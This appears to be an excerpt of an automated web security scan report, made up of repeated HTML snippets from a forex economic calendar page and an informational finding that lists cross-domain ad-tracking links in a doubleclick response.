<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<a href="#" onClick="luah.select(document.eco_date.date_hidden,'anchor','MM/dd/yyyy','//'); return false;" title=""><img id="anchor" name="anchor" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/economic_calendar/drop_down_transparent.gif" border="0"></a>
...[SNIP]...
<td class="ec_top_td"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_popup_calendar_spacer"></td><div style="display:none;"><img border=0 id="fp_fp" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/economic_calendar/drop_down.gif"></div>
...[SNIP]...
<a href="#" onClick="filter.showPopup('fp_anchor');return false;" title=""><img border=0 id="fp_anchor" name="fp_anchor" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/economic_calendar/drop_down_transparent.gif" border="0"></a>
...[SNIP]...
<td style="vertical-align:middle;"><img border=0 id="ec_importance1" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="vertical-align:middle;"><img border=0 id="ec_importance2" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="vertical-align:middle;"><img border=0 id="ec_importance3" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
=enabled&print_timezones_select=Yes','ec_calendar_div','Loading data..','ltr',curr_master_arr,imp_master_arr,'Yes','Yes','Yes','No','Yes','No','No','No','Yes','Yes','Yes','Yes','Yes','','No', 'Yes');"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="72" height="21" class="ec_filter_apply_button"></button><br><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="height:6px;"></td>
...[SNIP]...
<td class="ec_top_td"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_after_top_tr_after_filter"></td>
...[SNIP]...
<td style="text-align:left;width:18px;"><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/icons/icon_adjust_timezone.gif"></td>
...[SNIP]...
<td class="ec_td_importance"><img border=0 id="ec_importance1" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" alt="Low"></td>
...[SNIP]...
<td class="ec_td_after_previous"><img border=0 id="plus_minus_row_10895" class="plus" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" onclick="javascript:slide('row_10895','ltr');"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_sliding_table" alt="" /></td>
...[SNIP]...
<td colspan="1"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_table_in_sliding_table" alt="" /></td>
...[SNIP]...
<td><img border=0 class="ec_currency_all" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<a href="javascript:ec_open_popup('http://www.forexpros.com/economic_cal_print_event.php?event_ID=10895');" class="ec_b_12"><img border=0 class="ec_print_icon" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td><td style="vertical-align:middle;"><img border=0 class="ec_actual_arrow_eq" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="height:14px;"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td></tr><tr><td align="left"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="0" height="0" border="0" alt="" /></td></tr><tr><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="7" height="1" alt="" /></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7"></td>
...[SNIP]...
<td><a href="http://www.bi.go.id/web/en" target="_blank" class="ec_b_12">http://www.bi.go.id/web/en</a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<nobr><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/dark_blue_arrow_left.gif" style="padding-bottom:1px;" /> <a href="javascript:void(0);" class="arial_11_blue_b">
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="10" height="1" alt="" /></td>
...[SNIP]...
<td class="ec_td_importance"><img border=0 id="ec_importance1" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" alt="Low"></td>
...[SNIP]...
<td class="ec_td_after_previous"><img border=0 id="plus_minus_row_10896" class="plus" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" onclick="javascript:slide('row_10896','ltr');"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_sliding_table" alt="" /></td>
...[SNIP]...
<td colspan="1"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_table_in_sliding_table" alt="" /></td>
...[SNIP]...
<td><img border=0 class="ec_currency_all" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<a href="javascript:ec_open_popup('http://www.forexpros.com/economic_cal_print_event.php?event_ID=10896');" class="ec_b_12"><img border=0 class="ec_print_icon" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td><td style="vertical-align:middle;"><img border=0 class="ec_actual_arrow_eq" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="height:14px;"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td></tr><tr><td align="left"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="0" height="0" border="0" alt="" /></td></tr><tr><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="7" height="1" alt="" /></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7"></td>
...[SNIP]...
<td><a href="http://www.bcv.org.ve/c2/indicadores.asp" target="_blank" class="ec_b_12">http://www.bcv.org.ve/c2/indicadores.asp</a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<nobr><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/dark_blue_arrow_left.gif" style="padding-bottom:1px;" /> <a href="javascript:void(0);" class="arial_11_blue_b">
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="10" height="1" alt="" /></td>
...[SNIP]...
<td class="ec_td_importance"><img border=0 id="ec_importance1" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" alt="Low"></td>
...[SNIP]...
<td class="ec_td_after_previous"><img border=0 id="plus_minus_row_10828" class="plus" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" onclick="javascript:slide('row_10828','ltr');"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_sliding_table" alt="" /></td>
...[SNIP]...
<td colspan="1"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_table_in_sliding_table" alt="" /></td>
...[SNIP]...
<td><img border=0 class="ec_currency_aud" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<a href="javascript:ec_open_popup('http://www.forexpros.com/economic_cal_print_event.php?event_ID=10828');" class="ec_b_12"><img border=0 class="ec_print_icon" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td><td style="vertical-align:middle;"><img border=0 class="ec_actual_arrow_eq" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="height:14px;"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td></tr><tr><td align="left"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="0" height="0" border="0" alt="" /></td></tr><tr><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="7" height="1" alt="" /></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7"></td>
...[SNIP]...
<td><a href="http://www.aigroup.asn.au/" target="_blank" class="ec_b_12">http://www.aigroup.asn.au/</a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<nobr><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/dark_blue_arrow_left.gif" style="padding-bottom:1px;" /> <a href="javascript:void(0);" class="arial_11_blue_b">
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="10" height="1" alt="" /></td>
...[SNIP]...
<td class="ec_td_importance"><img border=0 id="ec_importance1" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" alt="Low"></td>
...[SNIP]...
<td class="ec_td_after_previous"><img border=0 id="plus_minus_row_10829" class="plus" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" onclick="javascript:slide('row_10829','ltr');"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_sliding_table" alt="" /></td>
...[SNIP]...
<td colspan="1"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_table_in_sliding_table" alt="" /></td>
...[SNIP]...
<td><img border=0 class="ec_currency_aud" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<a href="javascript:ec_open_popup('http://www.forexpros.com/economic_cal_print_event.php?event_ID=10829');" class="ec_b_12"><img border=0 class="ec_print_icon" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td><td style="vertical-align:middle;"><img border=0 class="ec_actual_arrow_eq" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="height:14px;"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td></tr><tr><td align="left"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="0" height="0" border="0" alt="" /></td></tr><tr><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="7" height="1" alt="" /></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7"></td>
...[SNIP]...
<td><a href="http://www.anz.com/aus/corporate/Economic-Research-And-Publications/Economic-Research/Job-Advertisement-Series/default.asp" target="_blank" class="ec_b_12">http://www.anz.com/aus/corporate/Economic-Research-And-Publi..</a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<nobr><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/dark_blue_arrow_left.gif" style="padding-bottom:1px;" /> <a href="javascript:void(0);" class="arial_11_blue_b">
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="10" height="1" alt="" /></td>
...[SNIP]...
<td class="ec_td_importance"><img border=0 id="ec_importance2" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" alt="Medium"></td>
...[SNIP]...
<td class="ec_td_after_previous"><img border=0 id="plus_minus_row_10830" class="plus" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" onclick="javascript:slide('row_10830','ltr');"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_sliding_table" alt="" /></td>
...[SNIP]...
<td colspan="1"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_table_in_sliding_table" alt="" /></td>
...[SNIP]...
<td><img border=0 class="ec_currency_aud" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<a href="javascript:ec_open_popup('http://www.forexpros.com/economic_cal_print_event.php?event_ID=10830');" class="ec_b_12"><img border=0 class="ec_print_icon" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td><td style="vertical-align:middle;"><img border=0 class="ec_actual_arrow_eq" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="height:14px;"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td></tr><tr><td align="left"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="0" height="0" border="0" alt="" /></td></tr><tr><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="7" height="1" alt="" /></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7"></td>
...[SNIP]...
<td><a href="http://www.abs.gov.au/" target="_blank" class="ec_b_12">http://www.abs.gov.au/</a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<nobr><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/dark_blue_arrow_left.gif" style="padding-bottom:1px;" /> <a href="javascript:void(0);" class="arial_11_blue_b">
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="10" height="1" alt="" /></td>
...[SNIP]...
<td class="ec_td_importance"><img border=0 id="ec_importance2" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" alt="Medium"></td>
...[SNIP]...
<td class="ec_td_after_previous"><img border=0 id="plus_minus_row_10831" class="plus" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" onclick="javascript:slide('row_10831','ltr');"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_sliding_table" alt="" /></td>
...[SNIP]...
<td colspan="1"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" class="ec_spacer_in_table_in_sliding_table" alt="" /></td>
...[SNIP]...
<td><img border=0 class="ec_currency_jpy" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<a href="javascript:ec_open_popup('http://www.forexpros.com/economic_cal_print_event.php?event_ID=10831');" class="ec_b_12"><img border=0 class="ec_print_icon" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td><td style="vertical-align:middle;"><img border=0 class="ec_actual_arrow_eq" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="6"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="width:10px;"></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" style="height:14px;"></td>
...[SNIP]...
<td><img border=0 style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td style="border-bottom:1px solid #cbcbcb;"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="2"></td>
...[SNIP]...
<td><img style="height:2px;" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif"></td>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td></tr><tr><td align="left"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="0" height="0" border="0" alt="" /></td></tr><tr><td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="7" height="1" alt="" /></td>
...[SNIP]...
<td colspan="2"><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7"></td>
...[SNIP]...
<td><a href="http://www.boj.or.jp/en/type/press/koen07/index.htm#2010" target="_blank" class="ec_b_12">http://www.boj.or.jp/en/type/press/koen07/index.htm#2010</a>
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<td><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="1" height="7" alt="" /></td>
...[SNIP]...
<nobr><img src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/dark_blue_arrow_left.gif" style="padding-bottom:1px;" /> <a href="javascript:void(0);" class="arial_11_blue_b">
...[SNIP]...
<td><img border=0 src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" width="10" height="1" alt="" /></td>
...[SNIP]...
<a href="javascript:void(0);" onClick="return_prev_next(05,02,2011);" class="ec_b_12_bold"><img class="prev_img" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" border=0>  Previous</a>
...[SNIP]...
<a href="javascript:void(0);" onClick="return_prev_next(07,02,2011);" class="ec_b_12_bold">Next  <img class="next_img" src="http://c1802182.cdn.cloudfiles.rackspacecloud.com/spacer.gif" border=0></a>
...[SNIP]...

20.23. http://fls.doubleclick.net/activityi previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://fls.doubleclick.net
Path:	/activityi

Issue detail

The page was loaded from a URL containing a query string:

http://fls.doubleclick.net/activityi;src=189445;type=amexo204;cat=2009a134;ord=1;num=3654638226144.0156?

The response contains the following links to other domains:

http://a.rfihub.com/ca.gif?rb=233&ca=20472701&ct=728106282 height=0 width=0 style=
http://action.media6degrees.com/orbserv/hbpix?pixId=3013
http://ad.yieldmanager.com/pixel?id=768165&id=555908&id=103817&t=2
http://ads.bluelithium.com/pixel?id=490573&t=2
http://cti.w55c.net/ct/ct-9a1aa4d008a54ee8b25fb4f525313bcc.js?
http://edge.quantserve.com/quant.js
